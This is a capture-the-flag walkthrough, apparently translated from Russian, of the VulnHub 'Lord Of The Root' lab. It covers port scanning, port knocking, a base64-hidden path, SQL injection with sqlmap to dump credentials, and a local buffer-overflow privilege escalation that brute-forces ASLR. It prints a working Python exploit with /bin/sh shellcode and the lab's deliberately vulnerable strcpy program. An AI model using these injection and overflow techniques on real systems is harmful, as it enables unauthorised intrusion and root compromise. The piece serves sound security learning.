Geekly Articles each Day
📜 ⬆️ ⬇️

VulnHub: Exploiting the buffer overflow vulnerability in Lord Of The Root



We continue the analysis of quests with VulnHub , this time I got quite interesting with a round of ASLR: Lord Of The Root . But first things first...

We start virtualka with image:
')

Already interesting. In this lab, we were given a graphical interface, and gave the first lead, in the form of a user login: smeagol .

But let's leave authorization for now, and move on to exploring open ports:

$ sudo arp-scan -l | grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV -p1-65535

Starting Nmap 7.01 ( nmap.org ) at 2016-12-21 19:33 MSK
Nmap scan report for 192.168.1.175
Host is up (0.00033s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
22 / tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 3c: 3d: e3: 8e: 35: f9: da: 74: 20: ef: aa: 49: 4a: 1d: ed: dd (DSA)
| 2048 85: 94: 6c: 87: c9: a8: 35: 0f: 2c: db: bb: c1: 3f: 2a: 50: c1 (RSA)
| _ 256 f3: cd: aa: 1d: 05: f2: 1e: 8c: 61: 87: 25: b6: f4: 34: 45: 37 (ECDSA)
MAC Address: 08: 00: 27: 40: B5: B3 (Oracle VirtualBox virtual NIC)
Warning: it can be unreliable;
Device type: general purpose
Running: Linux 3.X | 4.X
OS CPE: cpe: / o: linux: linux_kernel: 3 cpe: / o: linux: linux_kernel: 4
OS details: Linux 3.10 - 3.19, Linux 3.2 - 4.0
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe: / o: linux: linux_kernel

Only 1 port? Seriously? Having run nmap again, we are convinced that so far only ssh is available to us. Let's try to connect:

 $ ssh smeagol@192.168.1.175


“Tap a friend to enter” is a reference to Lord of the Rings. Quickly finding that in the original friend is mellon , we try to log in.

The attempt was unsuccessful, the brute force of logins and possible passwords on the subject also did not produce results.

I was embarrassed by the word knock , already dealing with port knocking , I assumed that it is used here.

Check the guess:

 $ sudo knock 192.168.1.175 1 2 3; ssh smeagol@192.168.1.175

Unfortunately, nothing has changed. authorization is still required. And what if, after the "knock" opens a port?

 $ sudo knock 192.168.1.175 1 2 3; sudo nmap 192.168.1.175 -sV -p1-65535

After a long time, we get the following result:

Starting Nmap 7.01 ( nmap.org ) at 2016-12-22 02:42 MSK
Nmap scan report for 192.168.1.175
Host is up (0.00020s latency).
PORT STATE SERVICE VERSION
22 / tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
1337 / tcp open http Apache httpd 2.4.7 ((Ubuntu))
MAC Address: 08: 00: 27: 39: 91: 65 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe: / o: linux: linux_kernel

PS Here it is worth making a reservation that in order to speed up the process, it is better to scan ports in small ranges.

Indeed, on the "elite" port Apache is spinning, let's see what is there:


 <html> <img src="/images/iwilldoit.jpg" align="middle"> </html>

Not much ... After analyzing the picture, nothing was found in it either. Perhaps there are hidden files and directories?

 sudo dirsearch -u http://192.168.1.175:1337/ -e php,html,js,json,jpg,txt,bak -w /usr/share/dirb/wordlists/big.txt



Nothing interesting, just in case looking at 404.html , we get another image:



And here is the code:

 <html> <img src="/images/hipster.jpg" align="middle"> <!--THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh> </html>

But this is already something! Decode:

 $ echo THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh | base64 -d Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer! $ echo Lzk3ODM0NTIxMC9pbmRleC5waHA= | base64 -d /978345210/index.php

Link to another starnitsu, go there:



Authorization ... First of all, we check for the presence of SQL injections:

 $ sudo sqlmap -u 'http://192.168.1.175:1337/978345210/index.php' --data='username=%22&password=%22&submit=+Login+' -vv



We are redirected. Having said sqlmap to continue searching, we check what is on the profile.php page. Log in using the found payload .


 <!DOCTYPE html> <html> <head> <title>LOTR Profile</title> </head> <body> <div id="profile"> <b id="welcome">Welcome : <i></i></b> <br> <img src="/images/legolas.jpg" align="middle"><br> <b id="logout"><a href="logout.php">Log Out</a></b> </div> </body> </html>

Not finding anything interesting here, we continue to spin the injection:

 $ sudo sqlmap -u 'http://10.0.31.127:1337/978345210/index.php' --data='username=%22&password=%22&submit=+Login+' --dbms=MySQL -p username --tables --risk=3 --level=2

In the log sqlmap database hit: Webapp and the only table: Users . After which dump we get the list of logins and passwords:



There is a user smeagol , relying on the fact that the password from the web is the same as the password from the system, we try to log in and get the desktop. Fine!

In the command history we see the records:
smeagol @ LordOfTheRoot: ~ $ cat .bash_history
su - sudo / etc / passwod
visudo
smeagol @ LordOfTheRoot: ~ $

Having opened the browser, in the history it is possible to trace all stage of creation of this lab:



We also see a link to the description of the buffer overflow vulnerability.

Further, during a cursory examination of the system, we find the folder / SECRET with the following contents:



After reading the article, we understand that one of these files has the vulnerability described there, and below we find an example of an exploit. It remains to understand which of the files. We download them to ourselves and open them in IDA, for gdb lovers in a virtual machine can use it.



/ SECRET / door1 / file



/ SECRET / door2 / file



/ SECRET / door3 / file

And so, the file we need is behind the “second door,” if you look closely, it is noticeable that the size of this file is smaller than the rest. Copy the exploit, compile it, run it, and nothing. We try to substitute other numbers, and nothing again.

Having opened this file in gdb right in the virtual machine, we see that it has changed! Oh, how ... After watching for some time, we notice that the vulnerable file constantly “moves” between these directories.

Then there was a series of unsuccessful attempts to use this exploit, for all attempts I either did not receive anything in response, or it was an error "Segmentation fault" or "Illegal instruction"
After much experimentation and viewing the state of the registers and the stack, before and after processing the input line, I noticed that the stack address changes everything in the range from 0xBF000000 to 0xBFFFFFFF .

Running the command:

 $ cat /proc/sys/kernel/randomize_va_space 2

Make sure the system has ASLR enabled. There are several ways to circumvent it, they have been repeatedly written about before. I stopped at BruteForce, because the range of memory changes is not so big, and the file is too simple to complicate things.

We need GDB Peda .

To begin with, you need to decide on the offset at which the return address is located, and it will be necessary to rewrite it.



Run our file in the debugger, passing a very long string to it as an argument



Great, the return address (EIP) is overwritten by our value.

Further, using the templates in peda, you can automatically determine the offset by which this address is located. Create a template:



And after launch we get something like this:



Offsets are found (I took about the average value of the stack address), you can start writing an exploit. You can also generate a shellcode there in peda :



However, you should immediately warn that you may have other offsets.

 #!/usr/bin/python import struct import os def p(x): return struct.pack("<L", x) shell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80" payload = "" payload += "A"*171 payload += p(0xbfb1c5ec) payload += "\x90"*30000 payload += shell def getFile(): output = subprocess.Popen(['find', '/SECRET/', '-type', 'f', '-size', '-7k'], stdout=subprocess.PIPE) path = output.communicate()[0] path = path.decode().strip() return path while True: os.system('%s "%s"' %(getFile(), payload)) #os.system('gdb --args %s "%s"' %(getFile(), payload))

After starting, we get a bunch of errors, and after a while we get root access, and with it the flag:



PS To whom it is interesting, this is how the source code, the file-changing script and the vulnerable program looked like. The script switcher.py was registered in cron.

switcher.py
 #!/usr/bin/python import os from random import randint targets= ["/SECRET/door1/","/SECRET/door2/","/SECRET/door3/"] for t in targets: os.system("rm "+t+"*") os.system("cp -p other "+t) os.system("cp -p "+t+"other "+t+"file") os.system("rm "+t+"other") luckyDoor = randint(0,2) t=targets[luckyDoor] os.system("rm "+t+"*") os.system("cp -p buf "+t) os.system("cp -p "+t+"buf "+t+"file") os.system("rm "+t+"buf")


other.c
 #include <string.h> #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]){ char buff[150]; if(argc <2){ printf("Syntax: %s <input string>\n", argv[0]); exit (0); } //This Program does nothing return 0; }


buf.c
 #include <string.h> #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]){ char buff[159]; if(argc <2){ printf("Syntax: %s <input string>\n", argv[0]); exit (0); } strcpy(buff, argv[1]); return 0; }

Source: https://habr.com/ru/post/318238/

More articles:


All Articles